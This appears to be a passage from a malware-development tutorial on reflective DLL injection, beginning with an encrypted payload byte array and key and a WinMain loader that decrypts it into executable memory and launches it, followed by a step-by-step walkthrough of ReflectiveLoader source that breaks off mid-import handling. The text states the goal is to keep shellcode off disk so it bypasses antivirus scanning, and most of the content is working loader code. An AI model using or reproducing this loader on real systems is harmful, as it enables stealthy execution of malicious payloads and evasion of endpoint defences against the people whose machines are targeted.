0xd6, 0x68, 0xf9, 0x75, 0x29, 0xc8, 0xec, 0x97, 0x43, 0x92, 0x5d, 0xf0, 0x76, 0x56, 0x6c, 0xce, 0x12, 0x6a, 0xc4, 0xba, 0x13, 0x77, 0xfb, 0xb4, 0x45, 0xd1, 0x98, 0xb7, 0xbd, 0xb4, 0x2b, 0x6e, 0xf5, 0x7b, 0xdc, 0x93, 0x1b, 0x8a, 0x27, 0xc0, 0x41, 0x71, 0x80, 0x1c, 0x2e, 0xed, 0x43, 0xbd, 0xfb, 0x40, 0x85, 0xc9, 0xbe, 0x4b, 0x15, 0x7d, 0xab, 0x3f, 0xf1, 0x61, 0x7e, 0x93, 0xbe, 0x80, 0xa2, 0xf, 0x79, 0x57, 0x35, 0x1, 0x51, 0x8d, 0xa1, 0xfe, 0x42, 0xc0, 0x6a, 0xf, 0x28, 0x63, 0x26, 0xed, 0x1f, 0x18, 0x9d, 0xbf, 0x24, 0x9b, 0xe, 0x17, 0x70, 0x82, 0x6c, 0x62, 0xdc, 0x1e, 0xe2, 0x5b, 0x35, 0x60, 0xfb, 0x5, 0x5e, 0x19, 0x54, 0x5e, 0x48, 0x6c, 0xf8, 0x7a, 0x23, 0xd5, 0xb1, 0xa0, 0x4f, 0x3, 0xb3, 0xa1, 0xb2, 0x7f, 0xe7, 0x4, 0x2b, 0x86, 0x72, 0x40, 0x6f, 0x25, 0xd4, 0xaf, 0xf, 0x57, 0xd, 0x87, 0x64, 0x23, 0xe6, 0x16, 0xb3, 0xbf, 0xef, 0x74, 0x5b, 0x66, 0xd0, 0x6e, 0xdc, 0x2f, 0x5, 0xe3, 0x99, 0x44, 0xbf, 0xc2, 0x0, 0xdf, 0xc9, 0xe5, 0x0, 0x3b, 0x4e, 0xa6, 0x33, 0xaa, 0x48, 0xc, 0xb, 0x32, 0xe4, 0x30, 0x90, 0xb3, 0x53, 0xe2, 0x26, 0x38, 0xe4, 0xc9, 0x94, 0x58, 0xb4, 0x71, 0x9a, 0xe1, 0x6a, 0x5e, 0x65, 0x5, 0x83, 0xc7, 0x2a, 0x3f, 0x4c, 0xb1, 0x70, 0x26, 0x5a, 0x19, 0xa2, 0x50, 0x5c, 0x3, 0xad, 0xab, 0x6, 0x19, 0xfa, 0x44, 0x5b, 0x7b, 0x88, 0xd5, 0x12, 0x13, 0x75, 0x9d, 0xd0, 0xf9, 0x7b, 0x75, 0x2c, 0x5e, 0xb3, 0x37, 0x3d, 0x1f, 0x48, 0xf3, 0xb0, 0x2, 0x3e, 0xc8, 0xde, 0x83, 0x9a, 0xe3, 0x6f, 0xa7, 0xcc, 0x86, 0xad, 0xe, 0xde, 0x83, 0xa5, 0x75, 0x2a, 0xcf, 0xb8, 0x63, 0x87, 0x80, 0x8d, 0x8a, 0x9d, 0xe7, 0x4c, 0xf7, 0x16, 0xe0, 0x27, 0xfc, 0x4c, 0x3d, 0x75, 0xca, 0xce, 0x13, 0x2d, 0x6, 0x4a, 0x75, 0xc6, 0x98, 0xa3, 0x82, 0xd2, 0x35, 0xd3, 0x95, 0xaa, 0xc0, 0x7d, 0xc6, 0x10, 0x88, 0x98, 0x6c, 0xe2, 0xa4, 0xe9, 0xf, 0x7b, 0x48, 0xe2, 0x98, 0x13, 0x90, 0x4a, 0x4e, 0x67, 0x7e, 0xfb, 0x28, 0x7c, 0xe0, 0x17, 0x5c, 0x10, 0x3e, 0x2e, 0x6f, 0x6e, 0x15, 0x65, 0xe1, 0x4f, 0x91, 0x70, 0xa, 0x95, 0x12, 0xc0, 0xea, 0x7d, 0x54, 0x44, 0x63, 0xe7, 0x64, 0x1c, 0x8d, 0x8a, 0xd1, 0x87, 0xbd, 0x1f, 0x76, 0x81, 0x57, 0x83, 0x97, 0x50, 0x6a, 0x3, 0xdc, 0xc2, 0x3a, 0x1b, 0x94, 0x81, 0x0, 0xe7, 0x22, 0x79, 0xe5, 0xa, 0x32, 0xe3, 0x7f, 0xbc, 0x37, 0x66, 0x4c, 0x64, 0xad, 0x62, 0x63, 0x60, 0xf3, 0x50, 0xd8, 0x47, 0x19, 0x2, 0x16, 0xfa, 0xb1, 0xea, 0x44, 0xb3, 0x57, 0x30, 0x37, 0xbc, 0x8d, 0x55, 0x9c, 0x58, 0xe4, 0x4e, 0x95, 0x21, 0x63, 0xe1, 0x49, 0x16, 0xba, 0xe5, 0xb0, 0xe8, 0x7c, 0x9e, 0x16, 0x3d, 0x3a, 0x49, 0xe2, 0x7e, 0x88, 0xe4, 0xa7, 0x4, 0xd3, 0xe4, 0x85, 0x4, 0x96, 0xbf, 0x8c, 0xf3, 0x77, 0x90, 0x49, 0x52, 0x9d, 0x51, 0xe8, 0xac, 0x90, 0xcc, 0xd7, 0xdf, 0xc7, 0xdc, 0xa4, 0xde, 0x40, 0x6d, 0x16, 0xb7, 0xae, 0x51, 0x22, 0xf3, 0x33, 0xb1, 0x75, 0x38, 0x1, 0xc4, 0xc, 0xd4, 0xe7, 0xa8, 0x22, 0x3f, 0x3d, 0xd8, 0x6a, 0x46, 0xb7, 0x5f, 0x87, 0xf1, 0xad, 0xf8, 0x84, 0x7a, 0x44, 0x95, 0x20, 0x62, 0x99, 0xfb, 0xd4, 0xf5, 0xb4, 0x77, 0x4d, 0x5b, 0xfa, 0x1b, 0x8f, 0x66, 0xa5, 0x36, 0x38, 0x6f, 0x7e, 0x72, 0xdb, 0x9c, 0x30, 0x9d, 0x3f, 0xae, 0xb3, 0xb2, 0xad, 0xe0, 0xdf, 0x8e, 0x6d, 0x2c, 0x57, 0x5f, 0x34, 0xff, 0x1b, 0xad, 0xf2, 0x1, 0xeb, 0xfa, 0xf6, 0xf4, 0xc3, 0xfe, 0x27, 0x24, 0xea, 0xe1, 0x2e, 0xef, 0xc7, 0x40, 0xb4, 0xbd, 0xd, 0x14, 0x96, 0xa0, 0x26, 0xf, 0xd6, 0x62, 0x81, 0x66, 0xa7, 0x9e, 0x24, 0x5a, 0xf3, 0x37, 0x9c, 0x2d, 0x42, 0xb2, 0xd9, 0xed, 0x6a, 0x28, 0xf9, 0x66, 0x1f, 0x55, 0x1a, 0x85, 0x2c, 0xb9, 0xa2, 0xbf, 0xf8, 0x12, 0x5, 0xda, 0x79, 0x1c, 0x9b, 0xc7, 0xcb, 0x7f, 0xd2, 0x3b, 0x2d, 0x92, 0x14, 0x35, 0x7e, 0x16, 0x25, 0xfa, 0xb8, 0x1, 0xff, 0x70, 0x96, 0xe3, 0xb8, 0x8a, 0x61, 0x76, 0xc4, 0xf2, 0xaa, 0xd8, 0xf1, 0x15, 0x5b, 0x79, 0x6a, 0x2c, 0x93, 0xa4, 0x43, 0x76, 0xaf, 0xa0, 0xf0, 0xdc, 0x54, 0x6e, 0x7c, 0x5b, 0x18, 0xb9, 0x8c, 0xa9, 0x91, 0x19, 0x5e, 0xae, 0xbe, 0x37, 0x8a, 0x70, 0xc6, 0xd3, 0x6f, 0x2a, 0xdb, 0x45, 0x26, 0x5f, 0xdd, 0x1a, 0xa6, 0x6, 0xb0, 0xa4, 0xb1, 0x43, 0xff, 0x96, 0xb7, 0x91, 0xce, 0xbf, 0xf1, 0x73, 0x4b, 0x88, 0x1b, 0xfa, 0xa8, 0x12, 0xf9, 0xea, 0x60, 0x13, 0x97, 0x21, 0x12, 0xbf, 0x76, 0x34, 0x10, 0xbf, 0x8a, 0x49, 0xfe, 0x46, 0xb4, 0x8d, 0x26, 0x2b, 0xe7, 0x22, 0x5e, 0x81, 0xc5, 0x69, 0xb, 0x62, 0x59, 0x65, 0xd9, 0xa1, 0x87, 0x11, 0xf0, 0x8d, 0xcd, 0xfa, 0xed, 0x78, 0x21, 0xdf, 0xa5, 0x95, 0xe4, 0x70, 0xa9, 0xb2, 0x42, 0x3d, 0xd9, 0x57, 0x32, 0x8a, 0xa8, 0x76, 0x27, 0x64, 0x3f, 0x33, 0x96, 0x38, 0xd, 0x2d, 0x92, 0xdb, 0x4, 0xdc, 0x1e, 0x85, 0xf5, 0xcd, 0xd8, 0xa7, 0x5a, 0xce, 0xfe, 0x15, 0x3c, 0xf3, 0xcf, 0xe8, 0x52, 0xa9, 0x49, 0xad, 0x88, 0x4f, 0x6b, 0xb0, 0x19, 0x26, 0x37, 0xe8, 0x94, 0xaa, 0xea, 0xca, 0x7a, 0x4a, 0x77, 0xe1, 0xa4, 0x9e, 0xd6, 0x8a, 0xd3, 0x91, 0xb1, 0x85, 0x5b, 0xb8, 0x7d, 0x22, 0x1f, 0x68, 0x40, 0x3a, 0x68, 0xb7, 0xa7, 0x6c, 0xc8, 0xf4, 0x40, 0x1d, 0x8, 0xbc, 0x85, 0x1b, 0xdd, 0x3b, 0xd4, 0x33, 0x84, 0x9f, 0xb1, 0xf3, 0x5d, 0x34, 0x7d, 0x5a, 0x5a, 0xf3, 0x82, 0xff, 0xbe, 0x15, 0x6e, 0xbf, 0xee, 0xe2, 0xfd, 0xad, 0x7d, 0xa3, 0x74, 0x9e, 0x97, 0xda, 0xdf, 0x97, 0x5b, 0x31, 0x4f, 0x12, 0x2c, 0xce, 0xc1, 0x27, 0xed, 0x5a, 0xab, 0xdf, 0x9f, 0xc3, 0x5d, 0xea, 0x91, 0x7b, 0xd4, 0xe6, 0x7c, 0x79, 0x41, 0xe4, 0x3a, 0xc6, 0x1d, 0x86, 0xaa, 0x27, 0xfd, 0x4a, 0x6d, 0x3d, 0x77, 0x46, 0x86, 0x88, 0x54, 0xac, 0xb5, 0x50, 0x30, 0xb5, 0xdf, 0x84, 0x49, 0x72, 0x2c, 0xe1, 0x2e, 0xd7, 0xea, 0x7, 0x81, 0x6b, 0xa3, 0xc5, 0x55, 0xa9, 0x4, 0x8e, 0xd8, 0xd5, 0x4, 0xe1, 0xf6, 0xe5, 0xeb, 0xfc, 0x62, 0x27, 0x14, 0x38, 0x49, 0x63, 0x41, 0xe6, 0x32, 0xa2, 0xda, 0x55, 0xa9, 0xfe, 0x87, 0x5f, 0x96, 0x65, 0x7c, 0xd1, 0xc5, 0xb4, 0xfa, 0x7e, 0xdc, 0x50, 0x2a, 0x82, 0x12, 0x14, 0x99, 0x86, 0x78, 0x30, 0xf2, 0xb3, 0x21, 0x73, 0x36, 0x4e, 0xb8, 0x9c, 0x9b, 0xb9, 0x95, 0x49, 0xef, 0x43, 0x1a, 0xe5, 0xed, 0xdd, 0x74, 0x30, 0x9b, 0xdd, 0xd4, 0x7, 0xd1, 0x3c, 0xb, 0x76, 0xdb, 0x1, 0xe7, 0x2d, 0x61, 0x49, 0x84, 0x67, 0xdc, 0x68, 0x79, 0xce, 0x31, 0x4a, 0x3, 0x57, 0x6e, 0x14, 0x20, 0x56, 0xed, 0xa, 0x92, 0x13, 0x18, 0xc3, 0x12, 0x55, 0xa9, 0x15, 0x4c, 0xe8, 0x6c, 0x16, 0x1c, 0xa2, 0xa, 0x9a, 0x9, 0x2d, 0x93, 0xb6, 0x5, 0xc7, 0xb8, 0xd, 0xbf, 0x64, 0xdf, 0xdf, 0x15, 0x42, 0xa6, 0xb5, 0xd5, 0xdd, 0x24, 0x78, 0xbc, 0xe1, 0xd9, 0x7f, 0xda, 0xb7, 0x3c, 0xd3, 0x8, 0x77, 0x43, 0x18, 0xbb, 0x1c, 0x66, 0xa9, 0xd5, 0x2b, 0xaa, 0x6b, 0xc4, 0x30, 0x97, 0x8b, 0xe7, 0x56, 0x2b, 0x19, 0x7a, 0xf8, 0x88, 0xae, 0x95, 0xd9, 0x6f, 0xfc, 0x43, 0x7, 0x4b, 0x3c, 0x53, 0x3, 0xdd, 0x86, 0x65, 0x70, 0x62, 0x5, 0xd4, 0x79, 0xf5, 0xa, 0x2e, 0x6e, 0xc8, 0xe8, 0xab, 0x16, 0xf3, 0x1e, 0x23, 0x1, 0xeb, 0x2e, 0x8f, 0x1b, 0xb1, 0x16, 0x8e, 0x74, 0xec, 0x9, 0x63, 0x92, 0xf1, 0x81, 0x89, 0xa1, 0x99, 0x33, 0xd5, 0x4b, 0x58, 0x26, 0xdc, 0xa2, 0xc4, 0xde, 0x94, 0x76, 0x6d, 0xe5, 0xc4, 0x20, 0xaf, 0x7f, 0xb7, 0x13, 0xd3, 0xa0, 0xa9, 0x45, 0xda, 0x24, 0x4f, 0xd9, 0xa6, 0x9c, 0x13, 0x6f, 0x27, 0x2a, 0x7, 0xc5, 0xda, 0x6, 0x4b, 0x12, 0xa2, 0xb6, 0x8d, 0x76, 0x12, 0xa1, 0x91, 0xe8, 0x6, 0xb4, 0xaf, 0xe2, 0xd1, 0x54, 0x8b, 0x9e, 0x9a, 0x3b, 0xad, 0x7f, 0xd4, 0xa4, 0xd8, 0xe9, 0x91, 0xa4, 0x27, 0x70, 0xe0, 0xc3, 0xc1, 0x68, 0x17, 0xe6, 0x7c, 0xe9, 0x94, 0x18, 0xed, 0x35, 0x75, 0x2c, 0x70, 0x9, 0x26, 0x7d, 0x7a, 0x7b, 0x7b, 0x67, 0x1e, 0x47, 0x6d, 0x64, 0xa3, 0x9f, 0xc5, 0xd6, 0x96, 0xe7, 0xc8, 0xd3, 0xb9, 0xe1, 0xe2, 0x16, 0x3c, 0x5a, 0x1a, 0x68, 0xe6, 0xe0, 0x4c, 0x49, 0xfd, 0xa0, 0x8a, 0x76, 0x50, 0x5e, 0x52, 0xb3, 0x5, 0x4e, 0xe5, 0x4c, 0x90, 0x85, 0xa3, 0x3d, 0x89, 0xc3, 0xef, 0x13, 0x41, 0xd6, 0x8e, 0x79, 0x10, 0xb1, 0xed, 0xb1, 0xf2, 0xd7, 0x38, 0x63, 0xa8, 0xf9, 0xde, 0xae, 0x45, 0x95, 0x4d, 0xc4, 0xf0, 0x6d, 0xde, 0xe2, 0x42, 0x5c, 0x6e, 0xf4, 0xd4, 0xaf, 0xd6, 0x9b, 0xc3, 0x57, 0x3d, 0x1, 0xd, 0x94, 0x2a, 0x3b, 0x99, 0x74, 0xbc, 0xbf, 0xa7, 0x63, 0x56, 0x59, 0xf7, 0x3, 0x98, 0x96, 0x72, 0x13, 0xcd, 0x74, 0xe, 0x5b, 0xc6, 0x61, 0x9a, 0x7f, 0x1d, 0x7b, 0xce, 0xfa, 0x2a, 0x7b, 0x19, 0x5d, 0x9c, 0x8d, 0x31, 0x26, 0xb, 0x6d, 0xf5, 0xf2, 0x36, 0x52, 0xcf, 0xb1, 0x51, 0x9a, 0x48, 0x23, 0x3f, 0xff, 0x7a, 0x7a, 0xae, 0x39, 0x65, 0x8d, 0x22, 0x67, 0xc, 0x32, 0x1c, 0xb0, 0x24, 0xb5, 0x17, 0x35, 0xd4, 0xbe, 0x61, 0x6d, 0xf0, 0x9, 0xec, 0xc1, 0xb8, 0xe0, 0xd8, 0x35, 0xb3, 0x12, 0xee, 0x9, 0x6f, 0x9e, 0xc7, 0xaf, 0x2, 0x40, 0x6d, 0xa6, 0xa, 0xc5, 0xa2, 0x23, 0xb, 0xc2, 0x4d, 0xab, 0x2e, 0xb5, 0x68, 0xc3, 0xff, 0x4e, 0x9, 0xcd, 0xf2, 0xb3, 0x5e, 0xc8, 0x4b, 0xd3, 0x52, 0x17, 0xf, 0xbc, 0xc4, 0x97, 0x6, 0x48, 0x15, 0x87, 0xb0, 0xe5, 0x33, 0xe2, 0xd5, 0xac };
unsigned char key[] = { 0xd5, 0x80, 0xaf, 0xf1, 0x6c, 0x14, 0x1a, 0x3a, 0xcf, 0x9e, 0x43, 0x3a, 0x1b, 0xa2, 0x49, 0x62 };

//int main(void){
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	DWORD RefLdrOffset = 0;
	unsigned int payload_len = sizeof(payload);

	// Allocate memory for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Decrypt payload
	AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

	// Copy payload to allocated buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	RefLdrOffset = GetReflectiveLoaderOffset(payload);
	// If all good, launch the payload
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)((ULONG_PTR)exec_mem + RefLdrOffset), 0, 0, 0);
		Sleep(5000); // give ReflectiveLoader time to perform the parsing and loading the DLL into memory.
		WaitForSingleObject(th, INFINITE);
	}

}

PreviousMalDev NextAcademy HackTheBox

Last updated 4 months ago

Was this helpful?

the main idea behind this to laod pe library directly in memory without using any file on disk and it's corporate to metaspoint framework
our shellcode will reside just on memory not on disk so we automatically bypassing an AV scanning file

Understanding the source code of the reflective loader:

We will start searching for the location address where we are uisng the "caller()" function
We loop through memory in reverse to locate the base address of our image
We identify the memory addresses of critical functions, such as VirtualAlloc and GetProcAddress
Load sections of the malicious DLL into memory
Save the entry point of our malicious DLL and use "NtFlashInstruction" function to update our relocation
Invoke the DLL's entry point directly from memory

Source Code of ReflectiveLoader project

this chapter will contain explaication of each section of code

ReflectiveLoader.c

We will here explain just the ReflectiveLoader function how it work from

Step 1:

#include "ReflectiveLoader.h"
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
#pragma intrinsic( _ReturnAddress )


//getting the return address from rip/eip register of the actual address where we are
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,  
//         otherwise the DllMain at the end of this file will be used.

// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
//         otherwise it is assumed you are calling the ReflectiveLoader via a stub.

// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif

	// STEP 0: calculate our images current base address

	// we will start searching backwards from our callers return address.
	uiLibraryAddress = caller();

	// loop through memory backwards searching for our images base address
	// we dont need SEH style search as we shouldnt generate any access violations with this
	while( TRUE )
	{
		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
			{
				uiHeaderValue += uiLibraryAddress;
				// break if we have found a valid MZ/PE header
				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
					break;
			}
		}
		uiLibraryAddress--;
	}

Step 2:

// Some code
// STEP 1: process the kernels exports for the functions our loader needs...

	// get the Process Enviroment Block
#ifdef WIN_X64
	uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	// get the first entry of the InMemoryOrder module list
	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while( uiValueA )
	{
		// get pointer to current modules name (unicode string)
		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
		// set bCounter to the length for the loop
		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
		// clear uiValueC which will store the hash of the module name
		uiValueC = 0;

		// compute the hash of the module name...
		do
		{
			uiValueC = ror( (DWORD)uiValueC );
			// normalize to uppercase if the madule name is in lowercase
			if( *((BYTE *)uiValueB) >= 'a' )
				uiValueC += *((BYTE *)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE *)uiValueB);
			uiValueB++;
		} while( --usCounter );

		// compare the hash with that of kernel32.dll
		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory
			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of name pointers
			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
			
			// get the VA for the array of name ordinals
			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 3;

Step 3:

determine address of each functions we want in kernel32 dll like "VirtuatAlloc" and "GetProcAddress" and "LoadLibrary"

// loop while we still have imports to find
			while( usCounter > 0 )
			{
				// compute the hash values for this function name
				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
				
				// if we have found a function we want we get its virtual address
				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
				{
					// get the VA for the array of addresses
					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					// store this functions VA
					if( dwHashValue == LOADLIBRARYA_HASH )
						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == GETPROCADDRESS_HASH )
						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == VIRTUALALLOC_HASH )
						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			
					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}

step 4:

determine address of function in NTDLL dll like pNtFlushInstructionCache function

// Some code
}
		else if( (DWORD)uiValueC == NTDLLDLL_HASH )
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory
			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of name pointers
			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
			
			// get the VA for the array of name ordinals
			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 1;

			// loop while we still have imports to find
			while( usCounter > 0 )
			{
				// compute the hash values for this function name
				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
				
				// if we have found a function we want we get its virtual address
				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
				{
					// get the VA for the array of addresses
					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					// store this functions VA
					if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}

		// we stop searching when we have found everything we need.
		if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
			break;

		// get the next entry
		uiValueA = DEREF( uiValueA );
	}

Step 5:

Finally the last step is to load sections headers our malicious header into memory and determine his entry point to execute our dll directly when is load it memory

// Some code
// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

	// we must now copy over the headers
	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

	while( uiValueA-- )
		*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

	// STEP 3: load in all of our sections...

	// uiValueA = the VA of the first section
	uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
	
	// itterate through all sections, loading them into memory.
	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while( uiValueE-- )
	{
		// uiValueB is the VA for this section
		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

		// uiValueC if the VA for this sections data
		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

		// copy the section over
		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while( uiValueD-- )
			*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

		// get the VA of the next section
		uiValueA += sizeof( IMAGE_SECTION_HEADER );
	}

	// STEP 4: process our images import table...

	// uiValueB = the address of the import directory
	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
	
	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
	
	// itterate through all imports
	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
	{
		// use LoadLibraryA to load the imported module into memory
		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

		// uiValueD = VA of the OriginalFirstThunk
		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
	
		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

		// itterate through all imported functions, importing by ordinal if no name present
		while( DEREF(uiValueA) )
		{
			// sanity check uiValueD as some compilers only import by FirstThunk
			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
			{
				// get the VA of the modules NT Header
				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				// uiNameArray = the address of the modules export directory entry
				uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

				// get the VA of the export directory
				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

				// get the VA for the array of addresses
				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

				// patch in the address for this imported function
				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
			}
			else
			{
				// get the VA of this functions import by name struct
				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

				// use GetProcAddress and patch in the address for this imported function
